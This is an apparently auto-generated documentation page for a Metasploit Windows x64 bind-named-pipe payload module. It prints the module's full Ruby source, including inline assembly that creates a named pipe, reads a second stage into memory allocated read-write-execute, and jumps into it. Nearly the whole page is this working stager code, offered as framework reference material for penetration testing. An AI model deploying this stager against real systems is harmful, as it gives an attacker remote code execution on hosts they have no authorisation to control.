Module: Msf::Payload::Windows::BindNamedPipe_x64

Includes:
TransportConfig, Msf::Payload::Windows, BlockApi_x64, Exitfunk_x64, SendUUID_x64
Defined in:
lib/msf/core/payload/windows/x64/bind_named_pipe.rb

Overview

bind_named_pipe payload generation for Windows ARCH_X86_64

Constant Summary

Constants included from Rex::Payloads::Meterpreter::UriChecksum

Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_CONN_MAX_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITJ, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITP, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INITW, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_INIT_CONN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MIN_LEN, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_MODES, Rex::Payloads::Meterpreter::UriChecksum::URI_CHECKSUM_UUID_MIN_LEN

Instance Method Summary collapse

Methods included from Exitfunk_x64

#asm_exitfunk

Methods included from BlockApi_x64

#asm_block_api

Methods included from Msf::Payload::Windows

#apply_prepends, exit_types, #handle_intermediate_stage, #replace_var

Methods included from PrependMigrate

#apply_prepend_migrate, #prepend_migrate, #prepend_migrate?, #prepend_migrate_64

Methods included from TransportConfig

#transport_config_bind_named_pipe, #transport_config_bind_tcp, #transport_config_reverse_http, #transport_config_reverse_https, #transport_config_reverse_ipv6_tcp, #transport_config_reverse_named_pipe, #transport_config_reverse_tcp, #transport_config_reverse_udp, #transport_uri_components

Methods included from UUID::Options

#generate_payload_uuid, #generate_uri_uuid_mode, #record_payload_uuid, #record_payload_uuid_url

Methods included from Rex::Payloads::Meterpreter::UriChecksum

#generate_uri_checksum, #generate_uri_uuid, #process_uri_resource, #uri_checksum_lookup

Instance Method Details

#asm_bind_named_pipe(opts = {}) ⇒ Object

Generate an assembly stub with the configured feature set and options.

Parameters:

  • opts (Hash) (defaults to: {})

    a customizable set of options

Options Hash (opts):

  • :exitfunk (String)

    The exit method to use if there is an error, one of process, thread, or seh

  • :reliable (Bool)

    Whether or not to enable error handling code

  • :name (String)

    Pipe name to create

  • :timeout (Int)

    Seconds to wait for pipe connection


144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 144

def asm_bind_named_pipe(opts={})

  reliable       = opts[:reliable]
  timeout        = opts[:timeout] * 1000 # convert to millisecs
  retry_wait     = 500
  retry_count    = timeout / retry_wait
  full_pipe_name = "\\\\\\\\.\\\\pipe\\\\#{opts[:name]}"  # double escape -> \\.\pipe\name
  chunk_size     = 0x10000    # pipe buffer size
  cleanup_funk   = reliable ? 'cleanup_file' : 'failure'
  pipe_mode      = 1          # (PIPE_TYPE_BYTE|PIPE_NOWAIT|PIPE_READMODE_BYTE)

  asm = %Q^
    create_named_pipe:
      call get_pipe_name
      db "#{full_pipe_name}", 0x00
    get_pipe_name:
      pop rcx                 ; lpName
      mov rdx, 3              ; dwOpenMode (PIPE_ACCESS_DUPLEX)
      mov r8, #{pipe_mode}    ; dwPipeMode
      mov r9, 255             ; nMaxInstances (PIPE_UNLIMITED_INSTANCES). in case pipe isn't released
      push 0                  ; lpSecurityAttributes. Default r/w for creator and administrators
      push 0                  ; nDefaultTimeOut
      push #{chunk_size}      ; nInBufferSize
      push #{chunk_size}      ; nOutBufferSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CreateNamedPipeA')}
      call rbp                ; CreateNamedPipeA
      mov rdi, rax            ; save hPipe (using sockrdi convention)

    ; check for failure
      cmp rax, -1             ; did it work? (INVALID_HANDLE_VALUE)
      jz failure

    ; initialize retry counter
      push #{retry_count}     ; retry counter
      pop r14

    ; Connect pipe to remote
    connect_pipe:
      mov rcx, rdi            ; hPipe
      xor rdx, rdx            ; lpOverlapped
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ConnectNamedPipe')}
      call rbp                ; ConnectNamedPipe

    ; check for failure
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetLastError')}
      call rbp                ; GetLastError
      cmp rax, 0x217          ; looking for ERROR_PIPE_CONNECTED
      jz get_stage_size       ; success
      dec r14
      jz #{cleanup_funk}      ; out of retries

    ; wait before trying again
      mov rcx, #{retry_wait}
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'Sleep')}
      call rbp                ; Sleep
      jmp connect_pipe
    ^

  asm << asm_send_uuid if include_send_uuid

  asm << 'get_stage_size:'

  # For reliability, set pipe state to wait so ReadFile blocks
  if reliable
    asm << %Q^
      mov rcx, rdi            ; hPipe
      push 0                  ; alignment
      push 0
      mov rdx, rsp            ; lpMode (PIPE_WAIT)
      xor r8, r8              ; lpMaxCollectionCount
      xor r9, r9              ; lpCollectDataTimeout
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'SetNamedPipeHandleState')}
      call rbp
    ^
  end

  asm << %Q^
    ; read size of second stage
      mov rcx, rdi            ; hPipe
      push 0                  ;
      mov rdx, rsp            ; lpBuffer
      mov r8, 4               ; nNumberOfBytesToRead
      push 0
      mov r9, rsp             ; lpNumberOfBytesRead
      push 0                  ; alignment
      push 0                  ; lpOverlapped
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile
      add rsp, 0x30           ; adjust stack
      pop rsi                 ; lpNumberOfBytesRead
    ^

  if reliable
    asm << %Q^
    ; check for bytesRead == 4
      cmp rsi, 4              ; expecting 4 bytes
      jnz cleanup_file
    ^
  end

  asm << %Q^
    get_second_stage:
    ; Alloc a RWX buffer for the second stage
      pop rsi                 ; pop off the second stage length
      mov esi, esi            ; only use the lower-order 32 bits for the size
      push 0x40               ;
      pop r9                  ; PAGE_EXECUTE_READWRITE
      push 0x1000             ;
      pop r8                  ; MEM_COMMIT
      mov rdx, rsi            ; the newly recieved second stage length.
      xor rcx, rcx            ; NULL as we dont care where the allocation is.
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')}
      call rbp                ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE );
    ; Receive the second stage and execute it...
    ^

  if reliable
    asm << %Q^
      test rax, rax           ; VirtualAlloc returning 0 is an error
      jz cleanup_file
    ^
  end

  asm << %Q^
      mov rbx, rax            ; rbx = stage 2 address
      mov r15, rax            ; save the address so we can jump into it later

    read_more:
      ; prepare the size min(0x10000, esi)
      mov r8, #{chunk_size}
      cmp r8, rsi
      jle read_max            ; read chunk_size
      mov r8, rsi
    read_max:

      push 0                  ; buffer for lpNumberOfBytesRead
      mov r9, rsp             ; lpNumberOfBytesRead
      mov rdx, rbx            ; lpBuffer
      push 0                  ; lpOverlapped
      mov rcx, rdi            ; hPipe
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'ReadFile')}
      call rbp                ; ReadFile(hPipe, lpBuffer, nNumberOfBytesToRead, lpNumberOfBytesRead, lpOverlapped)
      add rsp, 0x28           ; slight stack adjustment
      pop rdx                 ; lpNumberOfBytesRead
  ^

  if reliable
    asm << %Q^
    ; check to see if the read worked
      test rax, rax
      jnz read_successful

    ; something failed so free up memory
      push r15
      pop rcx                 ; lpAddress
      push 0x8000             ; MEM_RELEASE
      pop r8                  ; dwFreeType
      push 0                  ; 0 to decommit whole block
      pop rdx                 ; dwSize
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualFree')}
      call rbp                ; VirtualFree(payload, 0, MEM_RELEASE)

    cleanup_file:
    ; clean up the pipe handle
      push rdi                ; file handle
      pop rcx                 ; hFile
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'CloseHandle')}
      call rbp                ; CloseHandle(hPipe)

      jmp failure
    ^
  end

  asm << %Q^
    read_successful:
      add rbx, rdx            ; buffer += bytes_received
      sub rsi, rdx            ; length -= bytes_received
      test rsi, rsi           ; check for 0 bytes left
      jnz read_more           ; continue if we have more to read

      jmp r15                 ; jump into the second stage
  ^

  asm << 'failure:'

  if opts[:exitfunk]
    asm << %Q^
      and rsp, ~0xf           ; Ensure RSP is 16 byte aligned
      call exitfunk
    ^
    asm << asm_exitfunk(opts)
  elsif reliable
    asm << %Q^
      and rsp, ~0xf           ; Ensure RSP is 16 byte aligned
      call get_kernel32_name
      db "kernel32", 0x00
    get_kernel32_name:
      pop rcx                 ;
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetModuleHandleA')}
      call rbp                ; GetModuleHandleA("kernel32")

      call get_exit_name
      db "ExitThread", 0x00
    get_exit_name:
      mov rcx, rax            ; hModule
      pop rdx                 ; lpProcName
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'GetProcAddress')}
      call rbp                ; GetProcAddress(hModule, "ExitThread")
      xor rcx, rcx            ; dwExitCode
      call rax                ; ExitProcess(0)
    ^
  else
    # run off the end
  end

  asm
end

#asm_send_uuid(uuid = nil) ⇒ Object

hPipe must be in rdi. rax will contain WriteFile return value


115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 115

def asm_send_uuid(uuid=nil)
  uuid ||= generate_payload_uuid
  uuid_raw = uuid.to_raw

  asm << %Q^
    send_uuid:
      mov rcx, rdi               ; hPipe
      call get_uuid_address      ; put uuid buffer on the stack
      db #{raw_to_db(uuid_raw)}
    get_uuid_address:
      pop rdx                    ; lpBuffer
      push #{uuid_raw.length}
      pop r8                     ; nNumberOfBytesToWrite
      sub rsp, 16                ; allocate + alignment
      mov r9, rsp                ; lpNumberOfBytesWritten
      mov r10d, #{Rex::Text.block_api_hash('kernel32.dll', 'WriteFile')}
      call rbp                   ; WriteFile(hPipe, lpBuffer, nNumberOfBytesToWrite, lpNumberOfBytesWritten)
      add rsp, 16
  ^
end

#generateObject

Generate the first stage


39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 39

def generate
  conf = {
    name:        datastore['PIPENAME'],
    host:        datastore['PIPEHOST'],
    timeout:     datastore['WAIT_TIMEOUT'],
    reliable:    false,
  }

  # Generate the advanced stager if we have space
  unless self.available_space.nil? || required_space > self.available_space
    conf[:reliable] = true
    conf[:exitfunk] = datastore['EXITFUNC']
  end

  generate_bind_named_pipe(conf)
end

#generate_bind_named_pipe(opts = {}) ⇒ Object

Generate and compile the stager


67
68
69
70
71
72
73
74
75
76
77
78
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 67

def generate_bind_named_pipe(opts={})
  combined_asm = %Q^
    cld                     ; Clear the direction flag.
    and rsp, ~0xF           ; Ensure RSP is 16 byte aligned
    call start              ; Call start, this pushes the address of 'api_call' onto the stack.
    #{asm_block_api}
    start:
      pop rbp               ; block API pointer
    #{asm_bind_named_pipe(opts)}
  ^
  Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string
end

#include_send_uuidObject

By default, we don't want to send the UUID, but we'll send for certain payloads if requested.


60
61
62
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 60

def include_send_uuid
  false
end

#initialize(*args) ⇒ Object

Register bind_named_pipe specific options


27
28
29
30
31
32
33
34
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 27

def initialize(*args)
  super
  register_advanced_options(
    [
      OptInt.new('WAIT_TIMEOUT', [false, 'Seconds pipe will wait for a connection', 10])
    ]
  )
end

#required_spaceObject

Determine the maximum amount of space required for the features requested


87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 87

def required_space
  # Start with our cached default generated size
  space = cached_size

  # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others)
  space += 31

  # Reliability adds bytes! +81 if exitfunk, otherwise +119
  #space += 81
  space += 119

  space += uuid_required_size if include_send_uuid

  # The final estimated size
  space
end

#transport_config(opts = {}) ⇒ Object


80
81
82
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 80

def transport_config(opts={})
  transport_config_bind_named_pipe(opts)
end

#uuid_required_sizeObject


104
105
106
107
108
109
110
# File 'lib/msf/core/payload/windows/x64/bind_named_pipe.rb', line 104

def uuid_required_size
  # TODO update this
  space = 0

  # UUID size
  space += 16
end